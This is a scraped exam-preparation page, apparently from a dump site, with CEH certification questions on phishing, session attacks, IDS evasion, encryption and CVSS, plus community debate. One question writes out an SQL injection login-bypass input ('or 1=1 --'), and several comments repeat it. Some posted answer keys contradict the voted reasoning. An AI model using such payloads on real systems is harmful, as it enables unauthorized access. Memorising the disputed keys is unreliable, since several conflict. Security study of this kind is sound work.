I'm going with Grey Hat on this one.

Problem with the question is that it states he just found a vulnerability, not what he was doing that lead to him coming across it.

Say he was just using Outlook like normal and somehow came across a way to sign into another Email's account just by opening an Email from them and refreshing the page or something. That'd be a pretty big deal that literally anyone could come across, and that doesn't make you a hacker.

However, the question states that he **is** a hacker, which implies he may have been looking for vulnerabilities in this scenario. If he was a White Hat the question would have specifically mentioned him having permission to do so. But it doesn't.

So he looks to me like a Grey Hat with a conscience.

upvoted 2 times

Sophia is a shopping enthusiast who spends significant time searching for trendy outfits online. Clark, an attacker, noticed her activities several times and sent a fake email containing a deceptive page link to her social media page displaying all-new and trendy outfits. In excitement, Sophia clicked on the malicious link and logged in to that page using her valid credentials.

Which of the following tools is employed by Clark to create the spoofed email?

- A. Evilginx
- B. Slowloris
- C. PLCinject
- D. PyLoris

Correct Answer: A

Community vote distribution

A (100%)

✉️  Vincent_Lu Highly Voted 1 year, 3 months ago

A. Evilginx

A. Evilginx: A tool for phishing and credential harvesting by manipulating HTTPS traffic to steal sensitive information.

B. Slowloris: A DoS attack tool that exhausts server resources by keeping multiple connections open with minimal data, causing server overload.

C. PLCinject: A tool for attacking industrial control systems and programmable logic controllers, gaining unauthorized access and control over critical infrastructure.

D. PyLoris: A DoS attack tool similar to Slowloris, performing low-and-slow attacks to exhaust server resources and deny service to legitimate users
upvoted 15 times

✉️  jeremy13 Highly Voted 1 year, 5 months ago

Selected Answer: A

A. Evilginx

Phishing Tools Phishing tools can be used by attackers to generate fake login pages to capture usernames and passwords, send spoofed emails, and obtain the victim's IP address and session cookies. This information can further be used by the attacker, who will use it to impersonate a legitimate user and launch further attacks on the target organization :=>Tools like BLACKEYE / PhishX / PhishX / Trape / Evilginx P1360 : Module 9

upvoted 5 times

✉️  arthas989 Most Recent 1 month, 1 week ago

Book V12 : Module 10 P974

DoS/DDoS attack tools:

XOIC / HULK / Metasploit / Tor's Hammer / Slowloris / PyLoris

upvoted 1 times

✉️  sunce12 3 months, 1 week ago

Option A Evilginx

upvoted 1 times

✉️  Nicknp 4 months, 2 weeks ago

Selected Answer: A

Option A Evilginx

upvoted 1 times

✉️  eli117 1 year, 5 months ago

Selected Answer: A

A. Evilginx

Explanation: Evilginx is a powerful phishing tool that enables an attacker to intercept login credentials and session cookies of any web service that is using a vulnerable two-factor authentication protocol. With this tool, attackers can create fake web pages that look exactly like the real ones, luring users into providing their login credentials and allowing the attacker to intercept them.

upvoted 1 times

John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker installed a scanner on a machine belonging to one of the victims and scanned several machines on the same network to identify vulnerabilities to perform further exploitation.

What is the type of vulnerability assessment tool employed by John in the above scenario?

- A. Agent-based scanner
- B. Network-based scanner
- C. Cluster scanner
- D. Proxy scanner

Correct Answer: A

Community vote distribution

A (65%)

B (35%)

✉️  jeremy13  1 year, 5 months ago

Selected Answer: A

A. Agent-based scanner

Module 05/P561 CEH bookV12

*Network-Based Scanner: Network-based scanners are those that interact only with the real machine where they reside and give the report to the same machine after scanning.

*Agent-Based Scanner: Agent-based scanners reside on a single machine but can scan several machines on the same network.

*Proxy Scanner: Proxy scanners are the network-based scanners that can scan networks from any machine on the network.

* Cluster scanner: Cluster scanners are similar to proxy scanners, but they can simultaneously perform two or more scans on different machines in the network.

upvoted 17 times

✉️  eli117  1 year, 5 months ago

Selected Answer: B

B. Network-based scanner

Explanation: In the given scenario, John employs a network-based scanner to identify vulnerabilities on the machines in the same network. A network-based scanner is a type of vulnerability assessment tool that scans the network for vulnerabilities and identifies security holes in the network devices and systems. It is a non-intrusive scanner that can detect vulnerabilities without accessing the system. It sends packets to the network and analyzes the response to identify vulnerabilities.

upvoted 5 times

✉️  best2000 1 year, 5 months ago

you would have been right if the was no installing. the question said the scanner was installed on a machine. the right answer is A

upvoted 5 times

✉️  ametah  3 months, 1 week ago

Selected Answer: A

Listed below are some of the location and data examination tools:

o Network-Based Scanner: Network-based scanners are those that interact only with the real machine where they reside and give the report to the same machine after scanning.

o Agent-Based Scanner: Agent-based scanners reside on a single machine but can scan several machines on the same network.

o Proxy Scanner: Proxy scanners are the network-based scanners that can scan networks from any machine on the network.

o Cluster scanner: Cluster scanners are similar to proxy scanners, but they can simultaneously perform two or more scans on different machines in the network

upvoted 1 times

✉️  zarrzz 3 months, 2 weeks ago

Selected Answer: B

The most appropriate choice is: B. Network-based scanner.

Explanation:

Agent-based scanner: This typically involves installing software agents on each target machine to perform vulnerability assessments. It doesn't fit the scenario where a scanner is installed on one machine and used to scan others.

Network-based scanner: This is a scanner that examines network traffic or directly probes other machines on the network to identify vulnerabilities. It matches the scenario where a scanner was installed on a machine and used to scan other machines on the same network.

Cluster scanner: This is less commonly referred to in the context of vulnerability assessment tools and usually pertains to managing and scanning clusters of machines, but not in the specific way described.

Proxy scanner: This typically involves using a proxy to scan web traffic, and is not relevant to the scenario described.

upvoted 3 times

✉️  zarrzz 3 months, 2 weeks ago

The most appropriate choice is: B. Network-based scanner.

Explanation:

Agent-based scanner: This typically involves installing software agents on each target machine to perform vulnerability assessments. It doesn't fit the scenario where a scanner is installed on one machine and used to scan others.

Network-based scanner: This is a scanner that examines network traffic or directly probes other machines on the network to identify vulnerabilities. It matches the scenario where a scanner was installed on a machine and used to scan other machines on the same network.

Cluster scanner: This is less commonly referred to in the context of vulnerability assessment tools and usually pertains to managing and scanning clusters of machines, but not in the specific way described.

Proxy scanner: This typically involves using a proxy to scan web traffic, and is not relevant to the scenario described.

upvoted 1 times

✉️  Lost_Memo 4 months, 2 weeks ago

Selected Answer: B

I Believe the answer is B as I understand how you are using the key word install, to run an agent-based scan all the machines involved need have the agent installed on them to do the scan, while network scan requires connectivity, and this scenario I do not think the attacker has access to any other device to install the agents.

upvoted 1 times

✉️  desertlotus1211 5 months, 3 weeks ago

Though the scanner software was installed on a victim's machine... Actually a network-based scanner is being performed to identify vulnerabilities on the network and on the other machines.

Agent-based scanner would be installed on a machine BUT will send information about THAT machine to a central repo. This is not happening in this scenario.

upvoted 1 times

✉️  desertlotus1211 5 months, 3 weeks ago

Agent-based scanning is a type of vulnerability scanning that involves installing a software agent on each system that needs to be scanned. The agent then monitors and reports on the system's status, enabling real-time data collection and analysis.

upvoted 2 times

✉️  jettguo 6 months, 2 weeks ago

Selected Answer: B

My answer is network-based scanner.

Reason 1: although an "agent" is installed on a victim machine, there is no mention of using this scanner to scan for vulnerabilities on this victim machine.

Reason 2:

The "agent" was used to scan on machines within the network, this fits the signature of a "network-based scanner"

upvoted 1 times

✉️  sh4dali 6 months, 4 weeks ago

Selected Answer: A

A. Agent based.

"installed a scanner on a machine" keyword is on a machine.

upvoted 1 times

✉️  barey 7 months, 2 weeks ago

GPT4:

B. Network-based scanner

In the scenario described, the professional hacker is using a network-based scanner. This type of scanner is deployed on a network and scans multiple machines on that network to identify potential vulnerabilities without being installed on each individual machine. Network-based scanners are commonly used to assess security posture and identify vulnerabilities that could be exploited.

upvoted 1 times

✉️  yasso2023 8 months, 2 weeks ago

Selected Answer: A

In the scenario described, where the hacker installed a scanner on a machine within the victim's network and scanned several machines on the same network, it aligns more closely with an Agent-Based Scanner. Agent-based scanners reside on a single machine but can scan several machines on the same network.

upvoted 1 times

✉️  yasso2023 8 months, 2 weeks ago

In the scenario described, where the hacker installed a scanner on a machine within the victim's network and scanned several machines on the same network, it aligns more closely with an Agent-Based Scanner. Agent-based scanners reside on a single machine but can scan several machines on the same network.

upvoted 1 times

✉ **HetBeest** 9 months, 2 weeks ago

None-of-the-above would have been my answer. John didn't employ anything (himself).

upvoted 1 times

✉ **4MM449** 9 months, 3 weeks ago

Selected Answer: A

A. Agent-based scanner

upvoted 1 times

✉ **insaniunt** 10 months, 1 week ago

Selected Answer: A

page 561 from CEH v12 book:

Agent-Based Scanner: Agent-based scanners reside on a single machine but can scan several machines on the same network.

A. Agent-Based Scanner

upvoted 1 times

✉ **AA_Ron** 10 months, 2 weeks ago

Selected Answer: B

ChatGPT, Bard, Perplexity all using the Tree of Thought answering said B. A.I. = from Gods mouth to my ears. (Robot ears)

upvoted 1 times

✉ **davitm** 11 months, 1 week ago

B. Network-based scanner

Agent-based scanners can reside on a single machine and scan several machines on the same network. Agent-based scanners typically involve installing a scanning agent or software component on each target machine that you want to scan. These agents communicate with a central management system or console, which controls and coordinates the scanning process. The central console can initiate scans on multiple machines across the network, making it possible to scan multiple systems from a single machine where the console is installed.

This approach provides more control and flexibility, as you can customize scanning options for each target machine and collect detailed information. However, it requires installing agents on each target system, which can be resource-intensive and may not be suitable for all scenarios

upvoted 1 times

Joel, a professional hacker, targeted a company and identified the types of websites frequently visited by its employees. Using this information, he searched for possible loopholes in these websites and injected a malicious script that can redirect users from the web page and download malware onto a victim's machine. Joel waits for the victim to access the infected web application so as to compromise the victim's machine.

Which of the following techniques is used by Joel in the above scenario?

- A. Watering hole attack
- B. DNS rebinding attack
- C. MarioNet attack
- D. Clickjacking attack

Correct Answer: A

Community vote distribution

A (90%) 10%

✉️ 🚑 Nicknp 4 months, 2 weeks ago

Selected Answer: D

Clickjacking

upvoted 1 times

✉️ 🚑 AA_Ron 10 months, 2 weeks ago

Selected Answer: A

Watering hole attack.

You can lead a horse but you can't make him drink

upvoted 3 times

✉️ 🚑 jeremy13 1 year, 5 months ago

Selected Answer: A

A. Watering hole attack

P1952 / Module 14 CEH book V12

+Watering Hole Attack

It is a type of unvalidated redirect attack whereby the attacker first identifies the most visited website of the target, determines the vulnerabilities in the website, injects malicious code into the vulnerable web application, and then waits for the victim to browse the website. Once the victim tries to access the website, the malicious code executes, infecting the victim.

upvoted 4 times

✉️ 🚑 eli117 1 year, 5 months ago

Selected Answer: A

A. Watering hole attack

Explanation:

In the given scenario, Joel is using a technique called the watering hole attack. This technique involves the attacker targeting a specific group of individuals or organization by infecting a website that the targeted group regularly visits, also known as the "watering hole". The attacker then injects a malicious code into the website, which can be used to download malware onto the victim's machine. When the victim visits the infected website, the malware is automatically downloaded onto their system. This attack is often used when traditional phishing techniques fail to work or are too risky to execute.

upvoted 2 times

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs.

What type of malware did the attacker use to bypass the company's application whitelisting?

- A. File-less malware
- B. Zero-day malware
- C. Phishing malware
- D. Logic bomb malware

Correct Answer: A

Community vote distribution

A (82%) B (18%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: A

- A. File-less malware

Explanation: In this scenario, the attacker used file-less malware to bypass the company's application whitelisting. File-less malware resides entirely in memory, making it difficult for antivirus software and IDS/IPS to detect. It can run in the context of a trusted process or system application, and can be delivered through various attack vectors, including phishing emails, malicious websites, or network exploits.

upvoted 6 times

✉️  kikour Most Recent 5 months, 3 weeks ago

Selected Answer: B

- Oday because it's most likely not in a whitelist, IDS/IPS may detect file-less still

upvoted 2 times

✉️  insanaint 9 months, 3 weeks ago

Selected Answer: A

- A. File-less malware

upvoted 1 times

✉️  Vincent_Lu 1 year, 3 months ago

- A. File-less malware
should be the answer.
But why not B?

upvoted 2 times

✉️  deviii 1 year, 2 months ago

Because it's mentioned AV didn't flag any "non-whitelisted file"

upvoted 2 times

✉️  mattlai 1 year, 1 month ago

zero day does not necessarily need a file to execute

upvoted 2 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: A

- A. File-less malware
312-50v11 Q164
<https://www.trellix.com/en-us/security-awareness/ransomware/what-is-fileless-malware.html>

upvoted 2 times

Dorian is sending a digitally signed email to Poly. With which key is Dorian signing this message and how is Poly validating it?

- A. Dorian is signing the message with his public key, and Poly will verify that the message came from Dorian by using Dorian's private key.
- B. Dorian is signing the message with Poly's private key, and Poly will verify that the message came from Dorian by using Dorian's public key.
- C. Dorian is signing the message with his private key, and Poly will verify that the message came from Dorian by using Dorian's public key.
- D. Dorian is signing the message with Poly's public key, and Poly will verify that the message came from Dorian by using Dorian's public key.

Correct Answer: C

Community vote distribution

C (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: C

In digital signature, the sender signs the message using their private key, which only the sender knows. The recipient can verify that the message came from the sender by using the sender's public key. Therefore, in this scenario, Dorian is signing the email with his private key, and Poly will validate it using Dorian's public key.

upvoted 10 times

✉️  insanijunt Most Recent 9 months, 3 weeks ago

Selected Answer: C

C. Dorian is signing with his private key and Poly will verify using Dorian's public key.

upvoted 1 times

✉️  Benignhack 1 year, 1 month ago

Selected Answer: C

c- self private key to sign in digit signature

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: C

Like V11 Q150

upvoted 1 times

Scenario: Joe turns on his home computer to access personal online banking. When he enters the URL www.bank.com, the website is displayed, but it prompts him to re-enter his credentials as if he has never visited the site before. When he examines the website URL closer, he finds that the site is not secure and the web address appears different.

What type of attack he is experiencing?

- A. DHCP spoofing
- B. DoS attack
- C. ARP cache poisoning
- D. DNS hijacking

Correct Answer: D

Community vote distribution

D (100%)

✉  Vincent_Lu Highly Voted 1 year, 3 months ago

D. DNS hijacking

A. DHCP spoofing: Attacker impersonates DHCP server, obtains client IP addresses and network information, redirects to malicious networks.

B. DoS attack: Attacker overwhelms target system, consumes resources, causes service disruption.

C. ARP cache poisoning: Attacker sends false ARP responses, redirects target traffic to attacker-controlled location, enables man-in-the-middle attacks.

D. DNS hijacking: Attacker modifies DNS queries/responses, redirects users to incorrect/malicious websites, steals sensitive information.
upvoted 7 times

✉  ametah Most Recent 3 months, 1 week ago

Selected Answer: D

In DNS Hijacking, the attacker modifies DNS queries/responses, redirects users to incorrect/malicious websites, steals sensitive information.

upvoted 1 times

✉  sunce12 3 months, 1 week ago

D. DNS hijacking
upvoted 1 times

✉  insanaint 9 months, 3 weeks ago

Selected Answer: D

D. DNS hijacking
upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: D

D. DNS hijacking
Like V11 Q205
upvoted 2 times

✉  eli117 1 year, 5 months ago

Selected Answer: D

D. DNS hijacking.

Explanation: In the given scenario, Joe is experiencing a type of attack known as DNS hijacking. In DNS hijacking, an attacker diverts traffic intended for a legitimate website to a different IP address, which may lead to a fake website designed to look like the original one. The purpose of such an attack is to steal sensitive information, such as login credentials, from unsuspecting users. In this case, the attacker has redirected Joe to a phishing website that mimics the original website, prompting him to enter his credentials.

upvoted 3 times

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account.

What is the attack performed by Boney in the above scenario?

- A. Forbidden attack
- B. CRIME attack
- C. Session donation attack
- D. Session fixation attack

Correct Answer: D

Community vote distribution

C (85%) D (15%)

✉️  jeremy13 Highly Voted 1 year, 5 months ago

Selected Answer: C

C. Session donation attack
see 312-50v11 topic 1 question 188
Module 11 P1552 CEH BOOK V12

In a session donation attack, the attacker donates their own session ID to the target user. In this attack, the attacker first obtains a valid session ID by logging into a service and later feeds the same session ID to the target user. This session ID links a target user to the attacker's account page without disclosing any information to the victim. When the target user clicks on the link and enters the details (username, password, payment details, etc.) in a form, the entered details are linked to the attacker's account. To initiate this attack, the attacker can send their session ID using techniques such as cross-site cooking, an MITM attack, and session fixation.

upvoted 19 times

✉️  Karthikeyan017 Most Recent 3 months ago

Ans: C

upvoted 2 times

✉️  insaniant 9 months, 3 weeks ago

Selected Answer: C

From CEH BOOK v 12 - Module 11 Page 1552:

A session donation attack involves the following steps:

- 1 The attacker logs into a service, establishes a legitimate connection with the target web server, and deletes the stored information.
 - 2 The target web server (e.g., <http://citibank.com/>) issues a session ID, say 0D6441FEA4496C2, to the attacker.
 - 3 The attacker then donates their session ID, say <http://citibank.com/?SID=0D6441FEA4496C2>, to the victim and lures the victim to click on it to access the website.
 - 4 The victim clicks on the link, believing it to be a legitimate link sent by the bank. This opens the server's page in the victim's browser with SID=0D6441FEA4496C2. Finally, the victim enters their information in the page and saves it.
- The attacker can now login as themselves and acquire the victim's information

upvoted 1 times

✉️  kunnu 1 year ago

Answer is C: CEH v12 Module 11 - Page 1552/2113.

upvoted 2 times

✉️  SailOn 1 year ago

Both C and D involves giving the victim a valid session ID, but the defining difference is the source of the session ID. In fixation, it can be any source but in a donation attack, it must be a session ID belonging to the attacker. So, C

upvoted 3 times

✉️  Nst6310 1 year, 2 months ago

D. Session fixation attack

In a session fixation attack, the attacker (Boney) tricks a user (the target employee) into using a session ID that the attacker already knows and has

control over. The attacker may obtain a valid session ID by logging into the service himself and then trick the target employee into using that same session ID.

upvoted 4 times

✉  naija4life 1 year, 3 months ago

Selected Answer: D

D. Session fixation attack

upvoted 1 times

✉  Rocko1 1 year, 4 months ago

Selected Answer: C

Here is a great article for Session Donation :

https://media.defcon.org/DEF%20CON%202017/DEF%20CON%202017%20presentations/DEF%20CON%202017%20-%20alek_amrani-session_donation.pdf

upvoted 3 times

✉  victorfs 1 year, 4 months ago

Selected Answer: C

The correct option is C

upvoted 1 times

✉  sTaTiK 1 year, 5 months ago

Selected Answer: C

Answer is C in this case.

upvoted 2 times

✉  sausageman 1 year, 5 months ago

Selected Answer: C

C. Session donation attack

Jeremy13 explanation is correct

upvoted 2 times

✉  eli117 1 year, 5 months ago

Selected Answer: D

In a session fixation attack, the attacker fixes a valid session ID for a user, which allows the attacker to hijack the user's session after they authenticate to the targeted application.

upvoted 4 times

Kevin, a professional hacker, wants to penetrate CyberTech Inc's network. He employed a technique, using which he encoded packets with Unicode characters. The company's IDS cannot recognize the packets, but the target web server can decode them. What is the technique used by Kevin to evade the IDS system?

- A. Session splicing
- B. Urgency flag
- C. Obfuscating
- D. Desynchronization

Correct Answer: C

Community vote distribution

C (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: C

C. Obfuscating.

Explanation:

Obfuscation is a technique used by hackers to hide their malicious activities from security systems, such as Intrusion Detection Systems (IDS). In this case, Kevin encoded the packets with Unicode characters to make them difficult for the IDS to recognize and understand. This technique is used to bypass security measures and gain access to a system undetected. However, the target web server can decode the packets, which allows Kevin to gain access to the system. Session splicing, urgency flag, and desynchronization are other techniques used by hackers to evade IDS systems, but they are not applicable in this scenario.

upvoted 10 times

✉️  _A_R_D_N_23 5 months, 3 weeks ago

Perfect explanation!

upvoted 1 times

✉️  rayofhope 8 months, 2 weeks ago

appreciate your answer and explanations

upvoted 2 times

✉️  insaniunt Most Recent 9 months, 3 weeks ago

Selected Answer: C

C. Obfuscating

upvoted 1 times

✉️  naija4life 1 year, 3 months ago

Selected Answer: C

C. Obfuscating

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: C

C. Obfuscating

CEH Book V12 Module 12 Page 1672

Obfuscating is an IDS evasion technique used by attackers to encode the attack packet payload in such a way that the destination host can only decode the packet but not the IDS. Using Unicode characters, an attacker can encode attack packets that the IDS would not recognize but which a IIS web server can decode.

upvoted 3 times

Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/password form, you enter the following credentials:

Username: attack' or 1=1 –
Password: 123456

Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?

- A. select * from Users where UserName = 'attack' ' or 1=1 -- and UserPassword = '123456'
- B. select * from Users where UserName = 'attack' or 1=1 -- and UserPassword = '123456'
- C. select * from Users where UserName = 'attack or 1=1 -- and UserPassword = '123456'
- D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

Correct Answer: A

Community vote distribution

D (75%)	14%	11%
---------	-----	-----

✉ Stoa [Highly Voted] 1 year, 1 month ago

Selected Answer: D

Well I confirm that it is the D, with the following

The query is

select * from Users where UserName = 'varName' and UserPassword = 'varPassword'.

So if we change by the credentials that say would be the following result:

select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

An important consideration is that it is not asking for any correction of the command or if the command itself is correct, it is asking to be executed on the server.

upvoted 13 times

✉ MKesenheimer [Highly Voted] 1 year, 1 month ago

Selected Answer: A

Answer A. Look at the single quote.

upvoted 5 times

✉ sshksank [Most Recent] 4 months, 1 week ago

Selected Answer: D

CEH BOOK V12 P.2205

upvoted 3 times

✉ barey 7 months, 2 weeks ago

GPT 4.0 what you think in that way ? :

Apologies for the confusion. In line with the credentials provided and typical SQL injection techniques, the correct SQL command that would be executed by the server, if there is indeed an SQL injection vulnerability, would indeed be:

A. select * from Users where UserName = 'attack' or '1'='1' -- and UserPassword = '123456'

In this scenario, the injection point is within the UserName parameter, and the rest of the SQL statement is commented out using the double dashes (--). This would cause the where condition to always be true, potentially allowing an attacker to bypass authentication mechanisms.

upvoted 1 times

✉ [Removed] 9 months, 2 weeks ago

Selected Answer: D

D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'. The point of the question is not whether the select statement will provide anything useful, but to show that you understand how the strings/parameters are passed from the login/password form to the SQL query. This was a question for me when I took the exam on 13 Dec 2023.

upvoted 2 times

✉ insaniunt 9 months, 3 weeks ago

Selected Answer: D

D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'
pay attention: --
upvoted 1 times

✉  **IPconfig** 11 months ago

Selected Answer: D

Understanding an SQL Injection Query

Attacker Launching SQL Injection
SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1 --' AND Password='Springfield'
SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1 --' AND Password='Springfield'
CEH V12 Page 2204
upvoted 2 times

✉  **mattlai** 1 year, 1 month ago

https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

upvoted 1 times

✉  **kinok9438** 1 year, 1 month ago

D is the Correct

upvoted 1 times

✉  **581777a** 1 year, 1 month ago

Selected Answer: D

D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'
upvoted 1 times

✉  **Nst6310** 1 year, 2 months ago

B. select * from Users where UserName = 'attack' or 1=1 -- and UserPassword = '123456'

Option D is incorrect because the SQL injection payload is placed after the closing single quote for 'UserPassword', which would likely result in a syntax error.

Option A is incorrect because the payload is missing the closing single quote after 'attack', which would likely result in a syntax error.

upvoted 2 times

✉  **Rijoe** 1 year, 2 months ago

A is the correct answer look closely, the username = attack' so the actual query will have 'attack'the additional hyphen is for the username then 2 hyphen for the query.

upvoted 3 times

✉  **zhack405** 1 year, 3 months ago

CEH BOOK V12 : P2204

SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1 --' AND Password='Springfield'

' ' -- ''

upvoted 3 times

✉  **Vincent_Lu** 1 year, 3 months ago

D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

upvoted 2 times

✉  **predator67** 1 year, 4 months ago

Selected Answer: D

The correct option is D.

upvoted 1 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: D

The correct option is D.

select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

upvoted 1 times

✉  **jeremy13** 1 year, 5 months ago

Selected Answer: D

D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

CEH BOOK V12 : P2204

SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1 --' AND Password='Springfield'

SQL Query Executed : SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1

Code after -- are now comments : --' AND Password='Springfield'

upvoted 3 times

✉  **ShuvroD** 1 year, 5 months ago

I have my CEHv12 exam tomorrow. Can anyone please give me temporary contributor access ?

upvoted 4 times

Which of the following commands checks for valid users on an SMTP server?

- A. RCPT
- B. CHK
- C. VRFY
- D. EXPN

Correct Answer: C

Community vote distribution

C (100%)

✉️👤 insaniunt 9 months, 3 weeks ago

Selected Answer: C

C. VRFY
See CEH v12 book - Module 04 Page 407

upvoted 1 times

✉️👤 581777a 1 year, 1 month ago

Selected Answer: C

C. VRFY
upvoted 1 times

✉️👤 jeremy13 1 year, 5 months ago

Selected Answer: C

C. VRFY
upvoted 1 times

✉️👤 eli117 1 year, 5 months ago

Selected Answer: C

C. VRFY

Explanation:

SMTP (Simple Mail Transfer Protocol) is a protocol used to transfer electronic mail messages between servers. The VRFY command is used to verify the existence of an email address or to check whether a specific mailbox exists on the server. When a user submits a VRFY command with an email address, the server will check whether the email address is valid and whether the mailbox exists on the server. If the email address is valid, the server will respond with the name of the mailbox associated with the email address.

upvoted 3 times

Bella, a security professional working at an IT firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames, and passwords are shared in plaintext, paving the way for hackers to perform successful session hijacking. To address this situation, Bella implemented a protocol that sends data using encryption and digital certificates.

Which of the following protocols is used by Bella?

- A. FTPS
- B. FTP
- C. HTTPS
- D. IP

Correct Answer: A

Community vote distribution

A (87%) 13%

✉️  **jeremy13** Highly Voted 1 year, 5 months ago

Selected Answer: A

A. FTPS

FTPS includes full support for the TLS and SSL cryptographic protocols, including the use of server-side public key authentication certificates and client-side authorization certificates. It also supports compatible ciphers, including AES, RC4, RC2, Triple DES, and DES. It further supports hash functions SHA, MD5, MD4, and MD2.

<https://en.wikipedia.org/wiki/FTPS>

upvoted 8 times

✉️  **Henrikp** Highly Voted 1 year, 3 months ago

Selected Answer: A

Both A and C fits the criteria, but the keyword is she 'transfers', indicating she initially used FTP, hence ftps

upvoted 8 times

✉️  **desertlotus1211** Most Recent 5 months, 3 weeks ago

FTPS adds SSL/TLS encryption to FTP

Answer is A

upvoted 1 times

✉️  **desertlotus1211** 5 months, 3 weeks ago

Modern policies like GDPR and HIPAA favor secure transfers, elevating SFTP as the top recommendation.

upvoted 1 times

✉️  **[Removed]** 9 months, 2 weeks ago

Selected Answer: A

Another poorly worded question with two correct answers, A. FTPS and C. HTTPS are both correct. But if you want to pass the test, the CEH "most correct" answer is A. FTPS per the other comments in this thread. This was a question for me when I took the exam on 13 Dec 2023.

upvoted 5 times

✉️  **insaniunt** 9 months, 3 weeks ago

A. FTPS

See CEH v12 book Module 04 Page 504:

"Enumeration Countermeasures: Implement secure FTP (SFTP) or FTP secure (FTPS) to encrypt the FTP traffic over the network"

upvoted 2 times

✉️  **sringan** 11 months, 3 weeks ago

Selected Answer: A

Correct. Reference: CEH v12 Official book Pg no: 1584

upvoted 2 times

✉️  **Tafulu** 1 year, 2 months ago

"while transferring important files" I believe this is a dead giveaway to the correct answer

A. FTPS

upvoted 2 times

✉️  **Vincent_Lu** 1 year, 3 months ago

C. HTTPS

HTTPS is considered more secure than FTPS. It provides end-to-end encryption and uses digital certificates for identity verification. FTPS adds an SSL/TLS encryption layer to FTP but lacks comprehensive security. HTTPS offers stronger encryption and identity protection.

upvoted 1 times

✉️ 🚩 ThoHNguyen 1 year, 2 months ago

while transferring important files - that is FTP

upvoted 2 times

✉️ 🚩 Vincent_Lu 1 year, 3 months ago

C. HTTPS

upvoted 1 times

✉️ 🚩 boog 1 year, 3 months ago

A and C are correct. FTPS and HTTPS meet the criteria

upvoted 1 times

✉️ 🚩 boog 1 year, 3 months ago

ChatGPT and ForefrontAI selected HTTPS

upvoted 2 times

✉️ 🚩 bellabop 1 year, 5 months ago

Selected Answer: A

"breach occurred while transferring files". FTPS is an extension of the FTP protocol that adds support for Transport Layer Security (TLS) or Secure Sockets Layer (SSL) encryption for securing file transfer. Bella could have implemented FTPS as a secure alternative to FTP, which uses plaintext for data transfer and is susceptible to session hijacking attacks.

upvoted 3 times

✉️ 🚩 eli117 1 year, 5 months ago

Selected Answer: C

C. HTTPS

Explanation:

HTTPS (Hypertext Transfer Protocol Secure) is a protocol used to secure communication over the internet. It is an extension of HTTP (Hypertext Transfer Protocol) and uses Transport Layer Security (TLS) or Secure Sockets Layer (SSL) to encrypt data sent between a web server and a client. HTTPS ensures that data transmitted between a web server and a client is encrypted and therefore secure against eavesdropping and tampering.

In the given scenario, Bella implemented a protocol that sends data using encryption and digital certificates to address the security breach caused by plaintext transmission of sensitive data. This is exactly what HTTPS does, making it the correct answer.

upvoted 4 times

✉️ 🚩 581777a 1 year, 1 month ago

You are wrong because it specifically says transporting files, and not over the internet.

upvoted 2 times

John wants to send Marie an email that includes sensitive information, and he does not trust the network that he is connected to. Marie gives him the idea of using PGP. What should John do to communicate correctly using this type of encryption?

- A. Use his own private key to encrypt the message.
- B. Use his own public key to encrypt the message.
- C. Use Marie's private key to encrypt the message.
- D. Use Marie's public key to encrypt the message.

Correct Answer: D

Community vote distribution

D (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: D

D. Use Marie's public key to encrypt the message.

Explanation:

PGP (Pretty Good Privacy) is an encryption software that can be used to encrypt and decrypt electronic communications, such as emails. PGP uses combination of symmetric-key and public-key encryption to provide confidentiality and authenticity to the communications.

upvoted 6 times

✉️  insaniunt Most Recent 9 months, 3 weeks ago

Selected Answer: D

See more at CEH book v12 - Module 20 Page 3399

upvoted 2 times

✉️  581777a 1 year, 1 month ago

Selected Answer: D

D. Use Marie's public key to encrypt the message.

upvoted 1 times

✉️  zhack405 1 year, 3 months ago

public key to encrypt the message
Priv. key to crypt message
and Priv.Key to sign msg and to Pub.Key to verify

upvoted 3 times

✉️  qtygbapjpesdayazko 7 months, 2 weeks ago

D. Use Marie's public key to encrypt the message.
upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

D. Use Marie's public key to encrypt the message.
upvoted 1 times

In the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall in?

- A. 4.0-6.0
- B. 3.9-6.9
- C. 3.0-6.9
- D. 4.0-6.9

Correct Answer: D

Community vote distribution

D (95%)	5%
---------	----

✉️👤 jeremy13 Highly Voted 1 year, 5 months ago

Selected Answer: D

CVSS v3.0 Ratings

Low 0.1-3.9

Medium 4.0-6.9

High 7.0-8.9

